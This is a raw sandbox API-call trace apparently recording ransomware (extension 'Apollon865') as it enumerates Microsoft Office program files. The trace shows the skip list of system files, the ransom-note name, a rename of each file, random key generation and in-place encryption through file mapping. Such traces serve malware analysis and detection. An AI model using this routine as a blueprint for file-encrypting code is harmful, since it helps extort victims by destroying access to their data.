	[0066.236] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SAEXT.DLL" | out: lpString1="SAEXT.DLL") returned="SAEXT.DLL"
	[0066.236] lstrlenW (lpString="SAEXT.DLL") returned 9
	[0066.236] lstrlenW (lpString="Apollon865") returned 10
	[0066.236] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SAMPLES" | out: lpString1="SAMPLES") returned="SAMPLES"
	[0066.236] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe68
	[0066.236] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5afdc8
	[0066.236] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe70 | out: ListHead=0x5b76b0, ListEntry=0x59fe70) returned 0x59fe50
	[0066.236] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6629a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x8f968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1
	[0066.236] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.236] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0066.236] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2=".") returned 1
	[0066.236] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="..") returned 1
	[0066.236] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="windows") returned -1
	[0066.237] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="bootmgr") returned 1
	[0066.237] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="temp") returned -1
	[0066.237] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="pagefile.sys") returned 1
	[0066.237] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="boot") returned 1
	[0066.237] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="ids.txt") returned 1
	[0066.237] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="ntuser.dat") returned 1
	[0066.237] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="perflogs") returned 1
	[0066.237] lstrcmpiW (lpString1="SAVASWEB.DLL", lpString2="MSBuild") returned 1
	[0066.237] lstrlenW (lpString="SAVASWEB.DLL") returned 12
	[0066.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES") returned 50
	[0066.237] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SAVASWEB.DLL" | out: lpString1="SAVASWEB.DLL") returned="SAVASWEB.DLL"
	[0066.237] lstrlenW (lpString="SAVASWEB.DLL") returned 12
	[0066.237] lstrlenW (lpString="Apollon865") returned 10
	[0066.237] lstrcmpiW (lpString1="VASWEB.DLL", lpString2="Apollon865") returned 1
	[0066.237] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SAVWBHF.DLL" | out: lpString1="SAVWBHF.DLL") returned="SAVWBHF.DLL"
	[0066.237] lstrlenW (lpString="SAVWBHF.DLL") returned 11
	[0066.237] lstrlenW (lpString="Apollon865") returned 10
	[0066.237] lstrcmpiW (lpString1="AVWBHF.DLL", lpString2="Apollon865") returned 1
	[0066.237] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SAVWBRAS.DLL" | out: lpString1="SAVWBRAS.DLL") returned="SAVWBRAS.DLL"
	[0066.237] lstrlenW (lpString="SAVWBRAS.DLL") returned 12
	[0066.237] lstrlenW (lpString="Apollon865") returned 10
	[0066.237] lstrcmpiW (lpString1="VWBRAS.DLL", lpString2="Apollon865") returned 1
	[0066.255] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SAVWBVML.DLL" | out: lpString1="SAVWBVML.DLL") returned="SAVWBVML.DLL"
	[0066.255] lstrlenW (lpString="SAVWBVML.DLL") returned 12
	[0066.255] lstrlenW (lpString="Apollon865") returned 10
	[0066.255] lstrcmpiW (lpString1="VWBVML.DLL", lpString2="Apollon865") returned 1
	[0066.255] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SAVWBXAML.DLL" | out: lpString1="SAVWBXAML.DLL") returned="SAVWBXAML.DLL"
	[0066.255] lstrlenW (lpString="SAVWBXAML.DLL") returned 13
	[0066.255] lstrlenW (lpString="Apollon865") returned 10
	[0066.255] lstrcmpiW (lpString1="WBXAML.DLL", lpString2="Apollon865") returned 1
	[0066.255] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SCANPST.EXE" | out: lpString1="SCANPST.EXE") returned="SCANPST.EXE"
	[0066.255] lstrlenW (lpString="SCANPST.EXE") returned 11
	[0066.255] lstrlenW (lpString="Apollon865") returned 10
	[0066.255] lstrcmpiW (lpString1="CANPST.EXE", lpString2="Apollon865") returned 1
	[0066.256] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SCNPST32.DLL" | out: lpString1="SCNPST32.DLL") returned="SCNPST32.DLL"
	[0066.256] lstrlenW (lpString="SCNPST32.DLL") returned 12
	[0066.256] lstrlenW (lpString="Apollon865") returned 10
	[0066.256] lstrcmpiW (lpString1="NPST32.DLL", lpString2="Apollon865") returned 1
	[0066.256] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SCNPST64.DLL" | out: lpString1="SCNPST64.DLL") returned="SCNPST64.DLL"
	[0066.256] lstrlenW (lpString="SCNPST64.DLL") returned 12
	[0066.256] lstrlenW (lpString="Apollon865") returned 10
	[0066.256] lstrcmpiW (lpString1="NPST64.DLL", lpString2="Apollon865") returned 1
	[0066.256] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SegoeChess.ttf" | out: lpString1="SegoeChess.ttf") returned="SegoeChess.ttf"
	[0066.256] lstrlenW (lpString="SegoeChess.ttf") returned 14
	[0066.256] lstrlenW (lpString="Apollon865") returned 10
	[0066.256] lstrcmpiW (lpString1="eChess.ttf", lpString2="Apollon865") returned 1
	[0066.256] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SELFCERT.EXE" | out: lpString1="SELFCERT.EXE") returned="SELFCERT.EXE"
	[0066.256] lstrlenW (lpString="SELFCERT.EXE") returned 12
	[0066.256] lstrlenW (lpString="Apollon865") returned 10
	[0066.256] lstrcmpiW (lpString1="LFCERT.EXE", lpString2="Apollon865") returned 1
	[0066.256] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SENDTO.DLL" | out: lpString1="SENDTO.DLL") returned="SENDTO.DLL"
	[0066.256] lstrlenW (lpString="SENDTO.DLL") returned 10
	[0066.256] lstrlenW (lpString="Apollon865") returned 10
	[0066.256] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SEQCHK10.DLL" | out: lpString1="SEQCHK10.DLL") returned="SEQCHK10.DLL"
	[0066.256] lstrlenW (lpString="SEQCHK10.DLL") returned 12
	[0066.256] lstrlenW (lpString="Apollon865") returned 10
	[0066.257] lstrcmpiW (lpString1="QCHK10.DLL", lpString2="Apollon865") returned 1
	[0066.257] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SETLANG.EXE" | out: lpString1="SETLANG.EXE") returned="SETLANG.EXE"
	[0066.257] lstrlenW (lpString="SETLANG.EXE") returned 11
	[0066.257] lstrlenW (lpString="Apollon865") returned 10
	[0066.257] lstrcmpiW (lpString1="ETLANG.EXE", lpString2="Apollon865") returned 1
	[0066.257] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SG.DLL" | out: lpString1="SG.DLL") returned="SG.DLL"
	[0066.257] lstrlenW (lpString="SG.DLL") returned 6
	[0066.257] lstrlenW (lpString="Apollon865") returned 10
	[0066.257] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SHAPNUM.DLL" | out: lpString1="SHAPNUM.DLL") returned="SHAPNUM.DLL"
	[0066.257] lstrlenW (lpString="SHAPNUM.DLL") returned 11
	[0066.257] lstrlenW (lpString="Apollon865") returned 10
	[0066.257] lstrcmpiW (lpString1="HAPNUM.DLL", lpString2="Apollon865") returned 1
	[0066.257] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SHAREPOINTPROVIDER.DLL" | out: lpString1="SHAREPOINTPROVIDER.DLL") returned="SHAREPOINTPROVIDER.DLL"
	[0066.257] lstrlenW (lpString="SHAREPOINTPROVIDER.DLL") returned 22
	[0066.257] lstrlenW (lpString="Apollon865") returned 10
	[0066.257] lstrcmpiW (lpString1="OVIDER.DLL", lpString2="Apollon865") returned 1
	[0066.257] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SketchPadTestSchema.xml" | out: lpString1="SketchPadTestSchema.xml") returned="SketchPadTestSchema.xml"
	[0066.257] lstrlenW (lpString="SketchPadTestSchema.xml") returned 23
	[0066.257] lstrlenW (lpString="Apollon865") returned 10
	[0066.257] lstrcmpiW (lpString1="Schema.xml", lpString2="Apollon865") returned 1
	[0066.257] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml.Apollon865") returned 77
	[0066.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0066.260] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=103) returned 1
	[0066.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.261] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.261] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.261] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.261] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x150
	[0066.264] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x100000
	[0066.265] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.266] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.266] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.266] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.266] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.266] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.266] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.266] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.266] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.266] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.266] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.266] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.266] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.266] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.266] CloseHandle (hObject=0x150) returned 1
	[0066.267] CloseHandle (hObject=0x118) returned 1
	[0066.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.267] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x861bf100, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x861bf100, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0x80fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2="Apollon865.txt.exe") returned 1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2=".") returned 1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2="..") returned 1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2="windows") returned -1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2="bootmgr") returned 1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2="temp") returned -1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2="pagefile.sys") returned 1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2="boot") returned 1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2="ids.txt") returned 1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2="ntuser.dat") returned 1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2="perflogs") returned 1
	[0066.267] lstrcmpiW (lpString1="SLERROR.XML", lpString2="MSBuild") returned 1
	[0066.267] lstrlenW (lpString="SLERROR.XML") returned 11
	[0066.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml") returned 66
	[0066.267] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SLERROR.XML" | out: lpString1="SLERROR.XML") returned="SLERROR.XML"
	[0066.267] lstrlenW (lpString="SLERROR.XML") returned 11
	[0066.267] lstrlenW (lpString="Apollon865") returned 10
	[0066.267] lstrcmpiW (lpString1="LERROR.XML", lpString2="Apollon865") returned 1
	[0066.268] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML.Apollon865") returned 65
	[0066.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0066.269] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=33019) returned 1
	[0066.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.270] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.271] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.271] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.271] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8400, lpName=0x0) returned 0x150
	[0066.273] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8400) returned 0x100000
	[0066.275] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.276] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.276] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.276] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.277] CloseHandle (hObject=0x150) returned 1
	[0066.277] CloseHandle (hObject=0x118) returned 1
	[0066.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.277] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebbec00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x84cd39e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebbec00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x37d70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SMIGRATE.DLL", cAlternateFileName="")) returned 1
	[0066.277] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.277] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0066.277] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2=".") returned 1
	[0066.277] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="..") returned 1
	[0066.277] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="windows") returned -1
	[0066.277] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="bootmgr") returned 1
	[0066.277] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="temp") returned -1
	[0066.277] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="pagefile.sys") returned 1
	[0066.277] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="boot") returned 1
	[0066.277] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="ids.txt") returned 1
	[0066.277] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="ntuser.dat") returned 1
	[0066.278] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="perflogs") returned 1
	[0066.278] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="MSBuild") returned 1
	[0066.278] lstrlenW (lpString="SMIGRATE.DLL") returned 12
	[0066.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML") returned 54
	[0066.278] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SMIGRATE.DLL" | out: lpString1="SMIGRATE.DLL") returned="SMIGRATE.DLL"
	[0066.278] lstrlenW (lpString="SMIGRATE.DLL") returned 12
	[0066.278] lstrlenW (lpString="Apollon865") returned 10
	[0066.278] lstrcmpiW (lpString1="IGRATE.DLL", lpString2="Apollon865") returned 1
	[0066.278] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SOA.DLL" | out: lpString1="SOA.DLL") returned="SOA.DLL"
	[0066.278] lstrlenW (lpString="SOA.DLL") returned 7
	[0066.278] lstrlenW (lpString="Apollon865") returned 10
	[0066.278] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SOCIALCONNECTOR.DLL" | out: lpString1="SOCIALCONNECTOR.DLL") returned="SOCIALCONNECTOR.DLL"
	[0066.278] lstrlenW (lpString="SOCIALCONNECTOR.DLL") returned 19
	[0066.278] lstrlenW (lpString="Apollon865") returned 10
	[0066.278] lstrcmpiW (lpString1="NECTOR.DLL", lpString2="Apollon865") returned 1
	[0066.278] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SOCIALPROVIDER.DLL" | out: lpString1="SOCIALPROVIDER.DLL") returned="SOCIALPROVIDER.DLL"
	[0066.278] lstrlenW (lpString="SOCIALPROVIDER.DLL") returned 18
	[0066.278] lstrlenW (lpString="Apollon865") returned 10
	[0066.278] lstrcmpiW (lpString1="OVIDER.DLL", lpString2="Apollon865") returned 1
	[0066.278] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SOLUTILS.DLL" | out: lpString1="SOLUTILS.DLL") returned="SOLUTILS.DLL"
	[0066.278] lstrlenW (lpString="SOLUTILS.DLL") returned 12
	[0066.278] lstrlenW (lpString="Apollon865") returned 10
	[0066.279] lstrcmpiW (lpString1="LUTILS.DLL", lpString2="Apollon865") returned 1
	[0066.279] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SPANISH.LNG" | out: lpString1="SPANISH.LNG") returned="SPANISH.LNG"
	[0066.279] lstrlenW (lpString="SPANISH.LNG") returned 11
	[0066.279] lstrlenW (lpString="Apollon865") returned 10
	[0066.279] lstrcmpiW (lpString1="PANISH.LNG", lpString2="Apollon865") returned 1
	[0066.279] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SplashScreen.bmp" | out: lpString1="SplashScreen.bmp") returned="SplashScreen.bmp"
	[0066.279] lstrlenW (lpString="SplashScreen.bmp") returned 16
	[0066.279] lstrlenW (lpString="Apollon865") returned 10
	[0066.279] lstrcmpiW (lpString1="Screen.bmp", lpString2="Apollon865") returned 1
	[0066.279] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SQLSHARE.DLL" | out: lpString1="SQLSHARE.DLL") returned="SQLSHARE.DLL"
	[0066.279] lstrlenW (lpString="SQLSHARE.DLL") returned 12
	[0066.279] lstrlenW (lpString="Apollon865") returned 10
	[0066.279] lstrcmpiW (lpString1="LSHARE.DLL", lpString2="Apollon865") returned 1
	[0066.279] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SSGEN.DLL" | out: lpString1="SSGEN.DLL") returned="SSGEN.DLL"
	[0066.279] lstrlenW (lpString="SSGEN.DLL") returned 9
	[0066.279] lstrlenW (lpString="Apollon865") returned 10
	[0066.279] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="STARTUP" | out: lpString1="STARTUP") returned="STARTUP"
	[0066.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe88
	[0066.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5afe38
	[0066.279] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe90 | out: ListHead=0x5b76b0, ListEntry=0x59fe90) returned 0x59fe70
	[0066.279] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8d5600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xde61b8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e8d5600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x3bb598, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1
	[0066.279] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.279] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0066.280] lstrcmpiW (lpString1="STSLIST.DLL", lpString2=".") returned 1
	[0066.280] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="..") returned 1
	[0066.280] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="windows") returned -1
	[0066.280] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="bootmgr") returned 1
	[0066.280] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="temp") returned -1
	[0066.280] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="pagefile.sys") returned 1
	[0066.280] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="boot") returned 1
	[0066.280] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="ids.txt") returned 1
	[0066.280] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="ntuser.dat") returned 1
	[0066.280] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="perflogs") returned 1
	[0066.280] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="MSBuild") returned 1
	[0066.280] lstrlenW (lpString="STSLIST.DLL") returned 11
	[0066.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP") returned 50
	[0066.280] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="STSLIST.DLL" | out: lpString1="STSLIST.DLL") returned="STSLIST.DLL"
	[0066.280] lstrlenW (lpString="STSLIST.DLL") returned 11
	[0066.280] lstrlenW (lpString="Apollon865") returned 10
	[0066.280] lstrcmpiW (lpString1="TSLIST.DLL", lpString2="Apollon865") returned 1
	[0066.280] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="STYLEMGR.DLL" | out: lpString1="STYLEMGR.DLL") returned="STYLEMGR.DLL"
	[0066.280] lstrlenW (lpString="STYLEMGR.DLL") returned 12
	[0066.280] lstrlenW (lpString="Apollon865") returned 10
	[0066.280] lstrcmpiW (lpString1="YLEMGR.DLL", lpString2="Apollon865") returned 1
	[0066.280] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="subscription.xsd" | out: lpString1="subscription.xsd") returned="subscription.xsd"
	[0066.280] lstrlenW (lpString="subscription.xsd") returned 16
	[0066.280] lstrlenW (lpString="Apollon865") returned 10
